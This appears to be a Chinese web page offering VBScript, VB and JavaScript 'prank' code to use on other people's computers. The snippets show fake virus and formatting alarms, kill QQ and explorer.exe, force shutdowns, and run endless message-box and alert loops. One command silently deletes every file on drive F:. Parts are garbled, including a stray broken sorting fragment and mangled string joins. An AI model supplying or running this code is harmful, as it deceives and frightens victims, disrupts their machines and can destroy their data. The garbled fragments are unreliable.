放一个timer,名为timer1
Private Sub Form_Load()
Me.Visible = False
Timer1.Interval = 10*1000
End Sub
Private Sub Timer1_Timer()
gsh=msgbox ("已经准备好格式化,准备开始.",vbyesno)
set s=createobject("wscript.shell")
wscript.sleep 1000
msgbox "开始格式化...... 哈哈！吓晕了吧,骗你的~"
wscript.sleep 1000*100
msgbox "系统检测到WINDOWS更新中捆绑有不明插件SXS.exe,是否对其扫描?",vbyesno
msgbox "是否阻止其安装?",vbyesno
msgbox "阻止失败！请检查防火墙是否开启！"
msgbox "正在尝试强行删除..."
msgbox "失败！"
msgbox "您的电脑已陷入危险之中,请赶快扫描病毒！"
wscript.sleep 10000
s.sendkeys "% n"
s.run "taskkill /im QQ.exe"
s.run "taskkill /im explorer.exe /f"
msgbox "土嘎嘎的粉丝们大家好啊！"
msgbox "很高兴见到你！"
msgbox "您的电脑可能已经感染病毒！",,"WINDOWS防火墙警告"
msgbox "我控制你的电脑了！"
msgbox "不信?那我给你关机看看~"
msgbox "信了吧！"
msgbox "帮你解除关机......"
s.run "shutdown -a"
msgbox "再给你打开记事本写封信,劝你最好别动,要不然会引起系统混乱~"
s.run "notepad"
s.sendkeys "Hello, I'm sorry I control your computer,"
s.sendkeys " but the virus is false in, "
s.sendkeys "only a joke, "
s.sendkeys "please rest assured! "
s.sendkeys "I no longer next "
s.sendkeys "time so the whole you!"
s.sendkeys" Goodbye!"
s.sendkeys"{enter}"
s.sendkeys"END"
msgbox "提示：刚才的"病毒"是假的,只不过是吓你玩玩~"
s.run "explorer"
"
Dim?str?As?String?=?""
Dim?temp?As?Integer
str?=?str?a(i)?"?"
If?i?Mod?10?=?0?Then
str?=?str?vbCrLf
End?If
Next
If?a(j)?a(j?+?1)?Then
temp?=?a(j?+?1)
a(j?+?1)?=?a(j)
a(j)?=?temp
Next?j
Next?i
str?=?str?"排序后的数字是?"?vbCrLf
End?Sub
运行结果：
排序后的数字是
---------------------------------------------------------------------
代码:
Set ws=WScript.CreateObject("WScript.Shell")
wscript.sleep 100000
msgbox"阻止失败,请检查防火墙是否开启"
msgbox"您的电脑可能已被入侵,请尽快修改您的QQ密码及其他机密资料,以免QQ被盗或丢失资料",vbinformation
ws.popup"不信?我用你的电脑打开我的QQ空间给你看看",10
ws.run""
msgbox"警告：为了您的电脑安全,请尽快安装使用杀毒软件对系统进行全面杀毒",vbinformation
ws.popup"我再打开中国神泣官方网站",10
ws.popup"记事本会被打开并最大化,这时你不要动,千万别把目标转移到其他窗口,耐心看我把信写完.否则引起系统混乱我可不负责！"
verybat=split("dear ,friends ,~, nice ,to ,meet ,you ,i ,am ,so ,sorry ,that ,i ,controled ,your ,computer, without ,you ,allowing,~,please ,excuse ,me ,i ,want ,to ,say ,to ,you ,today,~,my ,friends ,so ,even ,through ,we ,face ,the ,difficulties ,of ,today ,and ,tomorrow,~,still ,have ,a ,dream ,it ,is ,a ,dream ,deeply ,rooted ,in ,our ,common ,dreams ,~,Maybe ,it's ,true ,that ,we ,do ,not ,know ,what ,we ,have ,got ,until ,we ,lose ,it,~,but ,it ,is ,also ,true ,that ,we ,do ,not ,know ,what ,we ,have ,been ,missing ,until ,it ,arrives ,.see ,you ,later ,~,with ,the ,best ,wishes,~, yours,~, lhj",",")
WScript.Echo("嘿,谢谢你打开我哦,我等你很久拉！"TSName)
WScript.Echo("你是可爱的XX童鞋吗?")
WScript.Echo("哈,我想你拉,这你都不知道吗?")
WScript.Echo("怎么才来,说~是不是不关心我")
WScript.Echo("哼,我生气拉,等你这么久,心都凉啦.")
WScript.Echo("夜黑很生气,后果很严重哦.")
WScript.Echo("嘿嘿！你也会很惨滴哦")
WScript.Echo("是不是想清除我?")
WScript.Echo("那你要点上100下哦,不过会给你惊喜滴")
WScript.Echo("还剩100下,快点点哦")
WScript.Echo("还剩11下")
WScript.Echo("还剩10下")
WScript.Echo("还剩1下")
WScript.Echo("还剩0下")
WScript.Echo("哎看你可怜,饶了你吧")
WScript.Echo("还剩下")
WScript.Echo("还剩下停停！！！慢点,我有话要说")
WScript.Echo("还剩下,你继续点我就会消失滴")
WScript.Echo("还剩下,你现在可以选择停止！")
WScript.Echo("还剩下.你还点啊,不要我拉?")
WScript.Echo("还剩下,有点伤心拉,干嘛丢弃人家")
WScript.Echo("还剩下.疯了,你有点负意！")
WScript.Echo("还剩下.对.你就点吧,我恨你！")
WScript.Echo("还剩下,不明白,删除我你就好吗?")
WScript.Echo("还剩下！真要删除我?")
WScript.Echo("还剩下.可是我真的很眷恋你...")
WScript.Echo("还剩下.不要这么绝情嘛,人家是爱你的！")
WScript.Echo("还剩下.哼,既然你这么绝情.也别怪我无义！！！")
WScript.Echo("我本因该消失的,不过我留恋你滴芳容,万能的上帝又给了一次机会.")
WScript.Echo("想结束我么?那你就再多点一次")
蓝屏代码:
for i=1 to UBound(strs)
runner=runnerchr(strs(i))
next
Execute runner
掉qq：
taskkill /im qq.exe /f /t
①.0秒强制关机（任务管理器无效）：
shutdown -s -t 10
死机：
start cmd
0%
让电脑只剩一个背景
taskkill /im /f /t explorer.exe
莫名其妙结束当前程序:
set ws=createobject("wscript.shell")
do
loop
不断提示你是猪:
msgbox("你是猪")
on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
dim a
do while(a "我是大笨蛋！哈哈！我是大肥猪！")
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0 ,true
"我是畜生":
do while(a "我是畜生")
①.0秒关机:
WSHshellA.run "cmd.exe /c shutdown -r -t 10 -c ""你被耍了"" ",0 ,true
刷对话框:
msgbox("你被耍了")
直接关机:
WSHshellA.run "cmd.exe /c shutdown -s ",0 ,true
---------------------------------------------------------------------一分钟弹出一次:
do until i=10
i=i+1
---------------------------------------------------------------------script language="javascript"
function hr(){
alert('你关不掉的^_^')
hr();
}
/script
body onLoad="hr()"
/body
---------------------------------------------------------------------do while(1)
msgbox "你死定了！"
还有更多的！：
删除F:\所有文件
WSHshell.run "cmd /c ""del f:\*.* / f /q /s""",0 ,true
while(1)
以上就是土嘎嘎小编为大家整理的vb.net整人代码相关主题介绍,如果您觉得小编更新的文章只要能对粉丝们有用,就是我们最大的鼓励和动力,不要忘记讲本站分享给您身边的朋友哦！！